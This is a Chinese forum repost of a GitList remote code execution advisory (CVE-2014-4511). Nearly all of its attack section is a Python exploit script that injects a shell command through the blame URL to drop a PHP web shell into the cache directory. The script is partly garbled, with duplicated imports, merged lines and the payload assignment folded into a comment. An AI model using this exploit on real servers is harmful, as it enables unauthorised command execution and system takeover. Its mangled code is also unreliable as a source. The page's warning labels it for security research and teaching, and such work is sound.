• 设为首页
  • 收藏本站
  • 积分充值
  • VIP赞助
  • 手机版
  • 微博
  • 微信
    微信公众号 添加方式:
    1:搜索微信号(888888
    2:扫描左侧二维码
  • 快捷导航
    福建二哥 门户 查看主题

    GitList远程代码执行漏洞(CVE-2014-4511)

    发布者: 汤9760 | 发布时间: 2025-6-28 23:24| 查看数: 39| 评论数: 0|帖子模式

    受影响系统:
    GitList GitList < 0.4.0
    GitList GitList
    描述:
    --------------------------------------------------------------------------------
    BUGTRAQ  ID: 68253
    CVE(CAN) ID: CVE-2014-4511

    GitList是用PHP编写的开源软件,是git库浏览器。

    GitList 0.4.0之前版本在实现上存在远程代码执行漏洞,远程攻击者可利用此漏洞执行任意代码。

    <*来源:drone
      *>
    测试方法: --------------------------------------------------------------------------------
    警 告
    以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!

    复制代码代码如下:
    from commands import getoutput
    import urllib
    import sys
    from commands import getoutput
    import urllib
    import sys
    """
    Exploit Title: Gitlist <= 0.4.0 anonymous RCE
    Date: 06/20/2014
    Author: drone (@dronesec)
    Vendor Homepage: <a target="_blank" href="http://gitlist.org/">http://gitlist.org/</a>
    Software link: <a href="https://s3.amazonaws.com/gitlist/gitlist-0.4.0.tar.gz">https://s3.amazonaws.com/gitlist/gitlist-0.4.0.tar.gz</a>
    Version: <= 0.4.0
    Fixed in: 0.5.0
    Tested on: Debian 7
    More information: <a href="http://hatriot.github.io/blog/2014/06/29/gitlist-rce/">http://hatriot.github.io/blog/2014/06/29/gitlist-rce/</a>
    cve: CVE-2014-4511
    """
    if len(sys.argv) <= 1:
        print '%s: [url to git repo] {cache path}' % sys.argv[0]
        print '  Example: python %s <a href="http://localhost/gitlist/my_repo.git'">http://localhost/gitlist/my_repo.git'</a> % sys.argv[0]
        print '  Example: python %s <a href="http://localhost/gitlist/my_repo.git">http://localhost/gitlist/my_repo.git</a> /var/www/git/cache' % sys.argv[0]
        sys.exit(1)
    url = sys.argv[1]  url = url if url[-1] != '/' else url[:-1]
    path = "/var/www/gitlist/cache"
    if len(sys.argv) > 2:
        path = sys.argv[2]
    print '[!] Using cache location %s' % path
    # payload <?system($_GET['cmd']);?>  payload = "D9zeXN0ZW0oJF9HRVRbJ2NtZCddKTs/Pgo="
    # sploit; python requests does not like this URL, hence wget is used
    mpath = '/blame/master/""`echo {0}|base64 -d > {1}/x.php`'.format(payload, path)
    mpath = url+ urllib.quote(mpath)
    out = getoutput("wget %s" % mpath)
    if '500' in out:
        print '[!] Shell dropped; go hit %s/cache/x.php?cmd=ls' % url.rsplit('/', 1)[0]
    else:
        print '[-] Failed to drop'
        print out

    建议:
    --------------------------------------------------------------------------------
    厂商补丁:

    GitList
    -------
    目前厂商已经发布了升级补丁以修复这个安全问题,请到厂商的主页下载:

    http://gitlist.org/

    来源:https://www.jb51.net/hack/185477.html
    免责声明:如果侵犯了您的权益,请联系站长,我们会及时删除侵权内容,谢谢合作!

    最新评论

    浏览过的版块

    QQ Archiver 手机版 小黑屋 福建二哥 ( 闽ICP备2022004717号|闽公网安备35052402000345号 )

    Powered by Discuz! X3.5 © 2001-2023

    快速回复 返回顶部 返回列表